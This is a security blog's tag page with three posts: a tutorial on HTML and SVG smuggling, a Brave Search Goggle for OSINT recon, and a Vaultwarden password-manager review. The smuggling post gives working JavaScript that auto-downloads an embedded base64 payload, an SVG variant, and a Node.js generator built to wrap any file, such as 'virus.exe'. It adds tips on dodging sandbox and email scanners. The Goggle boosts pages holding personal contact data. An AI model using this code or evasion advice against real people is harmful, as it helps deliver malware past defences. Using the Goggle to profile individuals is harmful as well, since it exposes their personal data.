Tag: security

  • Unveiling HTML and SVG Smuggling

    Unveiling HTML and SVG Smuggling

    Disclaimer:

    The information provided on this blog is for educational purposes only. The use of hacking tools discussed here is at your own risk.

    For the full disclaimer, please click here.

    Introduction

    Welcome to the world of cybersecurity, where adversaries are always one step ahead, cooking up new ways to slip past our defenses. One technique that’s been causing quite a stir among hackers is HTML and SVG smuggling. It’s like hiding a wolf in sheep’s clothing—using innocent-looking files to sneak in malicious payloads without raising any alarms.

    Understanding the Technique

    HTML and SVG smuggling is all about exploiting the blind trust we place in web content. We see HTML and SVG files as harmless buddies, used for building web pages and creating graphics. But little do we know, cybercriminals are using them as Trojan horses, hiding their nasty surprises inside these seemingly friendly files.

    How It Works

    So, how does this digital sleight of hand work? Well, it’s all about embedding malicious scripts or payloads into HTML or SVG files. Once these files are dressed up and ready to go, they’re hosted on legitimate websites or sent through seemingly harmless channels like email attachments. And just like that, attackers slip past our defenses, like ninjas in the night.

    Evading Perimeter Protections

    Forget about traditional attack methods that rely on obvious malware signatures or executable files. HTML and SVG smuggling flies under the radar of many perimeter defenses. By camouflaging their malicious payloads within innocent-looking web content, attackers can stroll right past firewalls, intrusion detection systems (IDS), and other security guards without breaking a sweat.

    Implications for Security

    The implications of HTML and SVG smuggling are serious business. It’s a wake-up call for organizations to beef up their security game with a multi-layered approach. But it’s not just about installing fancy software—it’s also about educating users and keeping them on their toes. With hackers getting sneakier by the day, we need to stay one step ahead to keep our digital fortresses secure.

    The Battle Continues

    In the ever-evolving world of cybersecurity, HTML and SVG smuggling are the new kids on the block, posing a serious challenge for defenders. But fear not, fellow warriors! By staying informed, adapting our defenses, and collaborating with our peers, we can turn the tide against these digital infiltrators. So let’s roll up our sleeves and get ready to face whatever challenges come our way.

    Enough theory and talk, let us get dirty ! 🏴‍☠️

    Being malicious

    At this point I would like to remind you of my Disclaimer, again 😁.

    I prepared a demo using a simple Cloudflare Pages website, the payload being downlaoded is an EICAR test file.

    Here is the Page: HTML Smuggling Demo <- Clicking this will download an EICAR test file onto your computer, if you read the Wikipedia article above you understand that this could trigger your Anti-Virus (it should).

    Here is the code (i cut part of the payload out or it would get too big):

    <body>
      <script>
        function base64ToArrayBuffer(base64) {
          var binary_string = window.atob(base64);
          var len = binary_string.length;
    
          var bytes = new Uint8Array(len);
          for (var i = 0; i < len; i++) {
            bytes[i] = binary_string.charCodeAt(i);
          }
          return bytes.buffer;
        }
    
        var file = "BASE64_ENCODED_PAYLOAD";
        var data = base64ToArrayBuffer(file);
        var blob = new Blob([data], { type: "octet/stream" });
        var fileName = "eicar.com";
    
        if (window.navigator.msSaveOrOpenBlob) {
          window.navigator.msSaveOrOpenBlob(blob, fileName);
        } else {
          var a = document.createElement("a");
          console.log(a);
          document.body.appendChild(a);
          a.style = "display: none";
          var url = window.URL.createObjectURL(blob);
          a.href = url;
          a.download = fileName;
          a.click();
          window.URL.revokeObjectURL(url);
        }
      </script>
    </body>

    This will create an auto clicked link on the page, which looks like this:

    <a href="blob:https://2cdcc148.fck-vp.pages.dev/dbadccf2-acf1-41be-b9b7-7db8e7e6b880" download="eicar.com" style="display: none;"></a

    This HTML smuggling at its most basic. Just take any file, encode it in base64, and insert the result into var file = "BASE64_ENCODED_PAYLOAD";. Easy peasy, right? But beware, savvy sandbox-based systems can sniff out these tricks. To outsmart them, try a little sleight of hand. Instead of attaching the encoded HTML directly to an email, start with a harmless-looking link. Then, after a delay, slip in the “payloaded” HTML. It’s like sneaking past security with a disguise. This delay buys you time for a thorough scan, presenting a clean, innocent page to initial scanners.

    By playing it smart, you up your chances of slipping past detection and hitting your target undetected. But hey, keep in mind, not every tactic works every time. Staying sharp and keeping up with security measures is key to staying one step ahead of potential threats.

    Advanced Smuggling

    If you’re an analyst reading this, you’re probably yawning at the simplicity of my example. I mean, come on, spotting that massive base64 string in the HTML is child’s play for you, right? But fear not, there are some nifty tweaks to spice up this technique. For instance, ever thought of injecting your code into an SVG?

    <svg
      xmlns="http://www.w3.org/2000/svg"
      xmlns:xlink="http://www.w3.org/1999/xlink"
      version="1.0"
      width="100"
      height="100"
    >
      <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
      <script>
        <![CDATA[document.addEventListener("DOMContentLoaded",function(){function base64ToArrayBuffer(base64){var binary_string=atob(base64);var len=binary_string.length;var bytes=new Uint8Array(len);for(var i=0;i<em><</em>len;i++){bytes[i]=binary_string.charCodeAt(i);}return bytes.buffer;}var file='BASE64_PAYLOAD_HERE';var data=base64ToArrayBuffer(file);var blob=new Blob([data],{type:'octet/stream'});var fileName='karl.webp';var a=document.createElementNS('http://www.w3.org/1999/xhtml','a');document.documentElement.appendChild(a);a.setAttribute('style','display:none');var url=window.URL.createObjectURL(blob);a.href=url;a.download=fileName;a.click();window.URL.revokeObjectURL(url);});]]>
      </script>
    </svg>

    You can stash the SVG in a CDN and have it loaded at the beginning of your page. It’s a tad more sophisticated, right? Just a tad.

    Now, I can’t take credit for this genius idea. Nope, the props go to Surajpkhetani, his tool also gave me the idea for this post. I decided to put my own spin on it and rewrote his AutoSmuggle Tool in JavaScript. Why? Well, just because I can. I mean, I could have gone with Python or Go… and who knows, maybe I will someday. But for now, here’s the JavaScript code:

    const fs = require("fs");
    
    function base64Encode(plainText) {
      return Buffer.from(plainText).toString("base64");
    }
    
    function svgSmuggle(b64String, filename) {
      const obfuscatedB64 = b64String;
      const svgBody = `<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" width="100" height="100"><circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red"/><script><![CDATA[document.addEventListener("DOMContentLoaded",function(){function base64ToArrayBuffer(base64){var binary_string=atob(base64);var len=binary_string.length;var bytes=new Uint8Array(len);for(var i=0;i<len;i++){bytes[i]=binary_string.charCodeAt(i);}return bytes.buffer;}var file='${obfuscatedB64}';var data=base64ToArrayBuffer(file);var blob=new Blob([data],{type:'octet/stream'});var fileName='${filename}';var a=document.createElementNS('http://www.w3.org/1999/xhtml','a');document.documentElement.appendChild(a);a.setAttribute('style','display:none');var url=window.URL.createObjectURL(blob);a.href=url;a.download=fileName;a.click();window.URL.revokeObjectURL(url);});]]></script></svg>`;
      const [file2, file3] = filename.split(".");
      fs.writeFileSync(`smuggle-${file2}.svg`, svgBody);
    }
    
    function htmlSmuggle(b64String, filename) {
      const obfuscatedB64 = b64String;
      const htmlBody = `<html><body><script>function base64ToArrayBuffer(base64){var binary_string=atob(base64);var len=binary_string.length;var bytes=new Uint8Array(len);for(var i=0;i<len;i++){bytes[i]=binary_string.charCodeAt(i);}return bytes.buffer;}var file='${obfuscatedB64}';var data=base64ToArrayBuffer(file);var blob=new Blob([data],{type:'octet/stream'});var fileName='${filename}';if(window.navigator.msSaveOrOpenBlob){window.navigator.msSaveOrOpenBlob(blob,fileName);}else{var a=document.createElement('a');console.log(a);document.body.appendChild(a);a.style='display:none';var url=window.URL.createObjectURL(blob);a.href=url;a.download=fileName;a.click();window.URL.revokeObjectURL(url);}</script></body></html>`;
      const [file2, file3] = filename.split(".");
      fs.writeFileSync(`smuggle-${file2}.html`, htmlBody);
    }
    
    function printError(error) {
      console.error("\x1b[31m%s\x1b[0m", error);
    }
    
    function main(args) {
      try {
        let inputFile, outputType;
        for (let i = 0; i < args.length; i++) {
          if (args[i] === "-i" && args[i + 1]) {
            inputFile = args[i + 1];
            i++;
          } else if (args[i] === "-o" && args[i + 1]) {
            outputType = args[i + 1];
            i++;
          }
        }
    
        if (!inputFile || !outputType) {
          printError(
            "[-] Invalid arguments. Usage: node script.js -i inputFilePath -o outputType(svg/html)"
          );
          return;
        }
    
        console.log("[+] Reading Data");
        const streamData = fs.readFileSync(inputFile);
        const b64Data = base64Encode(streamData);
        console.log("[+] Converting to Base64");
    
        console.log("[*] Smuggling in", outputType.toUpperCase());
        if (outputType === "html") {
          htmlSmuggle(b64Data, inputFile);
          console.log("[+] File Written to Current Directory...");
        } else if (outputType === "svg") {
          svgSmuggle(b64Data, inputFile);
          console.log("[+] File Written to Current Directory...");
        } else {
          printError(
            "[-] Invalid output type. Only 'svg' and 'html' are supported."
          );
        }
      } catch (ex) {
        printError(ex.message);
      }
    }
    
    main(process.argv.slice(2));

    Essentially it generates you HTML pages or SVG “images” simply by going:

    node autosmuggler.cjs -i virus.exe -o html

    I’ve dubbed it HTMLSmuggler. Swing by my GitHub to grab the code and take a peek. But hold onto your hats, because I’ve got big plans for this little tool.

    In the pipeline, I’m thinking of ramping up the stealth factor. Picture this: slicing and dicing large files into bite-sized chunks like JSON, then sneakily loading them in once the page is up and running. Oh, and let’s not forget about auto-deleting payloads and throwing in some IndexedDB wizardry to really throw off those nosy analysts.

    I’ve got this wild notion of scattering the payload far and wide—some bits in HTML, others in JS, a few stashed away in local storage, maybe even tossing a few crumbs into a remote CDN or even the URL itself.

    The goal? To make this baby as slippery as an eel and as light as a feather. Because let’s face it, if you’re deploying a dropper, you want it to fly under the radar—not lumber around like a clumsy elephant.

    The End

    Whether you’re a newbie to HTML smuggling or a seasoned pro, I hope this journey has shed some light on this sneaky technique and sparked a few ideas along the way.

    Thanks for tagging along on this adventure through my musings and creations. Until next time, keep those creative juices flowing and stay curious! 🫡

  • Using Brave Search Goggles for Recon

    Using Brave Search Goggles for Recon

    Introduction

    The world’s most potent OSINT (Open Source Intelligence) tools are search engines. They collect, index, and aggregate all the freely available information on the internet, essentially encapsulating the world’s knowledge. Nowadays, the ability to enter a topic in a search bar and receive results within milliseconds is often taken for granted. Personally, I’ve developed a profound appreciation for this technology by constructing my own search engines from scratch using Golang. But let’s dive into our topic – have you ever tried Googling your own name?

    Today, I want to shine a light on Brave Search (Brave Search docs). In 2022, Brave introduced a remarkable yet underappreciated feature known as Goggles. Described on the Brave Goggles website as follows:

    Goggles allow you to choose, alter, or extend the ranking of Brave Search results. Goggles are openly developed by the community of Brave Search users.

    Here’s a straightforward example:

    $boost=1,site=facebook.com

    This essentially boosts search results found on the facebook.com domain, elevating them higher in the results. The syntax is straightforward and limited; you can find an overview here.

    Pattern Matching:

    • Plain-text pattern matching in URLs: /this/is/a/pattern
    • Globbing capabilities using ’*’ to match zero, one, or more characters: /this/is/*/pattern
    • Use of ’^’ to match URL delimiters or end-of-URL: /this/is/a/pattern^

    Anchoring:

    • Use of ’|’ character for prefix or suffix matches in URLs.
      • Prefix: |https://en.
      • Suffix: /some/path.html|

    Options:

    • ‘site=’ option to limit instructions to specific websites based on their domain: $site=brave.com

    Actions:

    • ‘boost’: Boost the ranking of matched results: /r/brave_browser/$boost or $boost=4,site=test.de
    • ‘downrank’: Downrank the ranking of matched results: /r/google/$downrank
    • ‘discard’: Completely discard matched results: /this/is/spam/$discard

    Strength of Actions:

    • Adjust the strength of boosting or downranking actions (limited to a maximum value of 10): /r/brave_browser/$boost=3

    Combining Instructions:

    • Combine multiple instructions to express complex reranking functions with a comma ”,”: /hacking/$boost=3,site=github.com

    Finding Goggles

    Now that you have a basic idea of how to construct Goggles, you can find prebuilt ones here.

    A search for “osint” reveals my very own creation, the world’s first public 🎉 OSINT Goggle.

    When building your own Goggle, it needs to be hosted on GitHub or Gitlab. I host mine here on GitHub.

    DACH OSINT Goggle

    Here’s my code:

    ! name: DACH OSINT
    ! description: OSINT Goggle for the DACH (Germany, Austria, and Switzerland) Region. Find out more on my blog [exploit.to](https://exploit.to/)
    ! public: true
    ! author: StasonJatham
    ! avatar: #ec4899
    
    ! German Platforms
    $boost=4,site=telefonbuch.de
    $boost=4,site=dastelefonbuch.de
    $boost=4,site=northdata.de
    $boost=4,site=unternehmensregister.de
    $boost=4,site=firmen.wko.at
    
    ! Small boost for social media
    $boost=1,site=facebook.com
    $boost=1,site=twitter.com
    $boost=1,site=linkedin.com
    $boost=1,site=xing.com
    
    ! Online reviews
    $boost=2,site=tripadvisor.de
    $boost=2,site=tripadvisor.at
    $boost=2,site=tripadvisor.ch
    
    ! Personal/Business contact information, path boost
    /kontakt*$boost=3
    /datenschutz*$boost=3
    /impressum*$boost=3
    
    ! General boost, words included in pages
    *mail*$boost=1,site=de
    *mail*$boost=1,site=at
    *mail*$boost=1,site=ch
    *adresse*$boost=1,site=de
    *adresse*$boost=1,site=at
    *adresse*$boost=1,site=ch
    *verein*$boost=1
    
    ! Personal email
    *gmx*$boost=1
    *web*$boost=1
    *t-online*$boost=1
    *gmail*$boost=1
    *yahoo*$boost=1
    *Postadresse*$boost=1
    

    I believe it’s self-explanatory; the aim is to prioritize results that commonly contain personal information. However, it’s still a work in progress, and I plan to add more filters to these rules.

    Rule Development

    Rant Alert: Developing these rules can be quite frustrating. You have to push your rule to GitHub, then enter the URL in the Goggle upload and hope that you don’t encounter any cached results. The error messages received are often useless; most of the time, you just get something like “cannot compile.” In the future, I earnestly hope for an online editor or VSCode support. If the frustration persists, I might consider building it myself. Despite these challenges, writing these rules is generally straightforward.

    Future

    I hope the Brave team prioritizes this feature, and more people embrace it. They’ve hinted at more advanced filter rules akin to those found on Google, such as “intitle,” which, in my opinion, would make this the most powerful search engine on the planet.

    I also intend to focus on malware research, aiming to refine searches to uncover information about whether a particular file, domain, or email is known to be malicious.

    Please take a look at my Goggle and try it out for yourself. Provide feedback, spread the word, and create your own Goggles to give this feature the love it deserves.


    The title image is by Brave Software, Inc.  on Brave Search 

  • Vaultwarden: A Lightweight, Self-Hosted Password Manager

    Vaultwarden: A Lightweight, Self-Hosted Password Manager

    What is Vaultwarden ?

    According to their GitHub page:

    An alternative server implementation of the Bitwarden Client API, written in Rust and compatible with official Bitwarden clients [disclaimer], perfect for self-hosted deployment where running the official resource-heavy service might not be ideal.

    If you’re unfamiliar with Vaultwarden or Bitwarden, here’s a quick primer: Vaultwarden is a self-hosted password manager that allows you to securely access your credentials via web browsers, mobile apps, or desktop clients. Unlike traditional cloud-based solutions, Vaultwarden is designed for those of us who value control over our data and want a “syncable” password manager without the resource-heavy overhead.

    Since anything that isn’t self-hosted or self-administered is out of the question for me, Vaultwarden naturally caught my attention. Its lightweight design is perfect for a minimal resource setup. Here’s what I allocated to my Vaultwarden instance:

    Alpine LXC

    1 CPU Core

    1 GB RAM

    5 GB SSD Storage

    And let me tell you, this thing is bored. The occasional uptick in memory usage you might notice is mostly me testing backups or opening 20 simultaneous sessions across devices—so not even Vaultwarden’s fault. To put it simply: you could probably run this on a smart toaster, and it would still perform flawlessly.

    Why I Tried Vaultwarden

    Initially, I came across Vaultwarden while exploring the Proxmox VE Helper Scripts website and thought, “Why not give it a shot?” The setup was quick, and I was immediately impressed by its sleek, modern UI. Since Vaultwarden is compatible with Bitwarden clients, you get the added bonus of using the polished Bitwarden desktop app and its functional, albeit less visually appealing, browser extension.

    My main motivation for trying Vaultwarden was to move away from syncing my KeePass database across Nextcloud and iCloud. This process had become tedious, especially when setting up new development environments or trying out new Linux distributions—something I do frequently.

    Each time, I had to manually copy over my KeePass database, which meant logging into Nextcloud to retrieve it—a task that was ironically dependent on a password stored inside KeePass, which I didn’t have access to yet. With Vaultwarden, I can simply open a browser, enter my master password, and access everything instantly.

    Yes, it’s only one or two steps less than my KeePassXC workflow, but sometimes those minor annoyances add up more than they should. Vaultwarden’s seamless syncing across devices has been a breath of fresh air.

    Is KeePassXC Bad? Not at All! Here’s Why I Still Love It

    Over the years, KeePassXC has been an indispensable tool for managing my passwords and SSH keys. Even as new solutions like Vaultwarden (a self-hosted version of Bitwarden) gain popularity, KeePassXC continues to hold its ground, excelling in several areas where others fall short. Here’s a detailed breakdown of why I still rely on KeePassXC and how it outshines alternatives like Vaultwarden and Bitwarden.

    Why KeePassXC Stands Out (in my opinion)

    1. Superior Password Generator

    KeePassXC’s default password generator is leaps and bounds ahead of the competition. Its design is both powerful and intuitive, offering extensive customization without overwhelming the user. You can effortlessly fine-tune the length, complexity, and character set of generated passwords, making it ideal for advanced use cases.

    2. SSH Agent Integration

    If you work with multiple SSH keys (I manage over 100), KeePassXC’s built-in SSH agent is a game-changer. It allows seamless integration and management of SSH keys alongside your passwords, streamlining workflows for developers and sysadmins alike. This feature alone makes KeePassXC a must-have for me.

    3. File and Hidden Text Storage

    Unlike Bitwarden, which doesn’t currently support file storage, KeePassXC offers advanced options for securely storing files and hidden text.

    Why I’m Running KeePassXC and Vaultwarden in Parallel

    While I’ve started using Vaultwarden for some tasks, there are still key features in KeePassXC that I simply can’t live without:

    Local-Only Security:

    KeePassXC keeps everything offline by default, which eliminates the risks of exposing passwords to the internet. Even though I host Vaultwarden behind a VPN for added peace of mind, there’s something inherently reassuring about KeePassXC’s local-first approach.

    Privacy vs. Accessibility:

    Vaultwarden offers enough security features like MFA, WebAuthn or hardwaretoken to safely expose it online, but the idea of having my passwords accessible over the internet still feels unsettling. For that reason, KeePassXC remains my go-to for my most sensitive credentials. I am probably just paranoid, hosting it behind Cloudflare and a firewall with a Client certificate would add sufficient security (on top) where you would not have to worry.

    Unique Features:

    There are small yet critical features in KeePassXC, like its file storage capabilities and SSH agent integration, that Vaultwarden simply lacks at the moment.

    What Vaultwarden Does Well

    To give credit where it’s due, Vaultwarden brings some compelling features to the table. One standout is the reporting feature, which alerts you to compromised passwords. It’s a fantastic tool for staying on top of security best practices, I am also a huge fan of web based tools and I like the UI and UX in general.

    Conclusion

    Both KeePassXC and Vaultwarden have their strengths, and which one you choose ultimately depends on your priorities. For me, KeePassXC remains the gold standard for password management, offering unparalleled functionality for advanced users. Vaultwarden complements it well for “cloud”-based access and reporting, but it still has a long way to go before it can replace KeePassXC in my workflow.

    For now, running both in parallel strikes the perfect balance between security, usability, and convenience. Since I am running Vaultwarden on my Proxmox, which is already handling all my backup tasks, I also do not have to worry about data loss or doing extra work.